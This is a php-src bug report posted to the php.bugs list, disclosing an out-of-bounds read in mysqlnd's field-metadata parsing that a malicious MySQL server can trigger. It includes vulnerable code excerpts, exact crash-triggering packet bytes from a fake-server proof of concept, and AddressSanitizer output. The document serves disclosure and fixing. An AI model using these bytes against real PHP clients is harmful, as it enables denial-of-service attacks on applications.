[php-src] Issue #22663: Out-of-bounds read / crash in `ext/mysqlnd` when parsing result-set field metadata whose length-encoded string fields advance the parser pointer past the packet (`php_mysqlnd_rset_field_read`)
[email protected] (cxxz16) Fri, 10 Jul 2026 07:42:12 +0000
| Newsgroups | php.bugs |
|---|---|
| Message-ID | <[email protected]> |
Issue: https://github.com/php/php-src/issues/22663
Author: cxxz16
### Description
### Summary
When `ext/mysqlnd` parses result-set column (field) metadata, each metadata string component (catalog, db, table, org_table, name, org_name) is read with `READ_RSET_FIELD`, which reads a length-encoded length via `php_mysqlnd_net_field_length()` and then does `p += len` **without** verifying that `len` stays within the packet. A malicious or MITM MySQL server can send a field-metadata packet whose first length-encoded string declares an oversized length; the parser pointer `p` is advanced far past the end of the packet buffer, and the next `READ_RSET_FIELD` calls `php_mysqlnd_net_field_length()` on the out-of-bounds pointer, dereferencing unmapped memory and crashing the process.
The bug is reachable from an ordinary PHP application that connects with `mysqli` or `pdo_mysql` and runs a query; the malicious essence is entirely in the server-controlled result-metadata bytes. This is the result-metadata counterpart of CVE-2024-8929 (a mysqlnd over-read that was fixed in the row/value path); the per-field bound check is still missing in the field-metadata path.
### Details
`php_mysqlnd_net_field_length()` decodes a length-encoded integer by dereferencing the current pointer and advancing 1/3/4/9 bytes, with no packet-end bound:
`ext/mysqlnd/mysqlnd_wireprotocol.c` (around lines 92–114):
```c
zend_ulong
php_mysqlnd_net_field_length(const zend_uchar **packet)
{
const zend_uchar *p= (const zend_uchar *)*packet;
if (*p < 251) { // <-- dereferences *p with no bound
(*packet)++;
return (zend_ulong) *p;
}
switch (*p) {
case 251: (*packet)++; return MYSQLND_NULL_LENGTH;
case 252: (*packet) += 3; return (zend_ulong) uint2korr(p+1);
case 253: (*packet) += 4; return (zend_ulong) uint3korr(p+1);
default: (*packet) += 9; return (zend_ulong) uint4korr(p+1);
}
}
```
`READ_RSET_FIELD` reads a lenenc length and advances `p` by it with no check that `len <= packet_end - p`:
`ext/mysqlnd/mysqlnd_wireprotocol.c` (around lines 1173–1186):
```c
#define READ_RSET_FIELD(field_name) do { \
len = php_mysqlnd_net_field_length(&p); \
if (UNEXPECTED(len == MYSQLND_NULL_LENGTH)) { \
goto faulty_or_fake; \
} else if (len != 0) { \
meta->field_name = (const char *)p; \
meta->field_name ## _length = len; \
p += len; \ // <-- unchecked advance past packet
total_len += len + 1; \
} else { \
meta->field_name = mysqlnd_empty_string; \
meta->field_name ## _length = 0; \
} \
} while (0)
```
`php_mysqlnd_rset_field_read()` calls it six times in a row, and only checks the packet bound **after** all six string fields (just before the fixed 12-byte section):
`ext/mysqlnd/mysqlnd_wireprotocol.c` (around lines 1239–1252):
```c
READ_RSET_FIELD(catalog);
READ_RSET_FIELD(db);
READ_RSET_FIELD(table);
READ_RSET_FIELD(org_table);
READ_RSET_FIELD(name);
READ_RSET_FIELD(org_name);
/* 1 byte length */
if (UNEXPECTED(12 != *p)) { ... }
if ((size_t)((p - begin) + 12) > packet->header.size) { // <-- too late
php_error_docref(NULL, E_WARNING, "Premature end of data ...");
goto premature_end;
}
```
If the `catalog` field declares an oversized `len`, `p += len` pushes `p` far past the packet buffer; the very next `READ_RSET_FIELD(db)` calls `php_mysqlnd_net_field_length(&p)` which dereferences the out-of-bounds `p` (line 98) and crashes. The post-loop `(p - begin) + 12 > header.size` check never runs because the crash happens during the second field read.
The same code is present on the current `master` branch (verified 2026-04-13): `php_mysqlnd_net_field_length()` still dereferences `*p` with no bound, `READ_RSET_FIELD` still does an unchecked `p += len`, and the packet-bound check is still only performed after the six string fields.
### PoC
Environment:
- PHP 8.4.20 (CLI), built with `--enable-debug` and AddressSanitizer (`CFLAGS="-fsanitize=address -g -O0"`), `--enable-mysqlnd --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd`.
- A fake MySQL server (the PoC harness) that completes the handshake, sends an auth-OK, then sends a result-set header with one column followed by a malicious field-metadata packet.
The malicious server sends:
```text
result-set header: field_count = 1
field metadata packet payload: fe ff ff ff ff ff ff ff ff
^^ lenenc prefix 0xfe => 8-byte length follows = 0xffffffffffffffff
```
Benign client skeleton:
```php
<?php
$mysqli = new mysqli($host, 'root', '', '', $port);
$mysqli->query('SELECT a FROM t');
```
Run (via the bundled fake-server harness):
```sh
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \
UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1 \
php mysqlnd_malicious_server_probe.php field_metadata_len_oob
```
Full AddressSanitizer output:
```text
[server] send result header 0100000101
[server] send field metadata huge lenenc catalog 09000002feffffffffffffffff
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1464497==ERROR: AddressSanitizer: SEGV on unknown address 0x521100024508 (pc 0x55a595b69a16 bp 0x7ffdd854d880 sp 0x7ffdd854d850 T0)
==1464497==The signal is caused by a READ memory access.
#0 0x55a595b69a16 in php_mysqlnd_net_field_length /src/php/ext/mysqlnd/mysqlnd_wireprotocol.c:98
#1 0x55a595b93b2e in php_mysqlnd_rset_field_read /src/php/ext/mysqlnd/mysqlnd_wireprotocol.c:1240
#2 0x55a595b13a5b in mysqlnd_mysqlnd_res_meta_read_metadata_pub /src/php/ext/mysqlnd/mysqlnd_result_meta.c:62
#3 0x55a595b26d34 in mysqlnd_mysqlnd_res_read_result_metadata_pub /src/php/ext/mysqlnd/mysqlnd_result.c:150
#4 0x55a595b2d108 in mysqlnd_query_read_result_set_header /src/php/ext/mysqlnd/mysqlnd_result.c:300
#5 0x55a595a05c4c in mysqlnd_mysqlnd_command_reap_result_pub /src/php/ext/mysqlnd/mysqlnd_commands.c:337
#6 0x55a595a36291 in mysqlnd_mysqlnd_conn_data_reap_query_pub /src/php/ext/mysqlnd/mysqlnd_connection.c:858
#7 0x55a595a336e8 in mysqlnd_mysqlnd_conn_data_query_pub /src/php/ext/mysqlnd/mysqlnd_connection.c:820
#8 0x55a594cee11b in zif_mysqli_query /src/php/ext/mysqli/mysqli_nonapi.c:599
...
SUMMARY: AddressSanitizer: SEGV /src/php/ext/mysqlnd/mysqlnd_wireprotocol.c:98 in php_mysqlnd_net_field_length
```
The crash is a read at `php_mysqlnd_net_field_length` (`mysqlnd_wireprotocol.c:98`) reached from the second `READ_RSET_FIELD` in `php_mysqlnd_rset_field_read` (`:1240`), after the first field's oversized lenenc length advanced `p` out of bounds.
### Impact
This is an out-of-bounds read (CWE-125) of an attacker-advanced pointer, leading to a crash (denial of service). The attacker is a malicious or man-in-the-middle MySQL server (or any endpoint a benign PHP client connects to). Any application using `mysqli` or `pdo_mysql` that connects to an untrusted/compromised MySQL endpoint and issues a query is affected; a single crafted result-metadata packet aborts the worker process. It is the same class and attacker model as CVE-2024-8929 (mysqlnd heap over-read), in a result-metadata path where the per-field bound check is still missing.
### PHP Version
```plain
php<=8.5.6
ext/mysqlnd
```
### Operating System
_No response_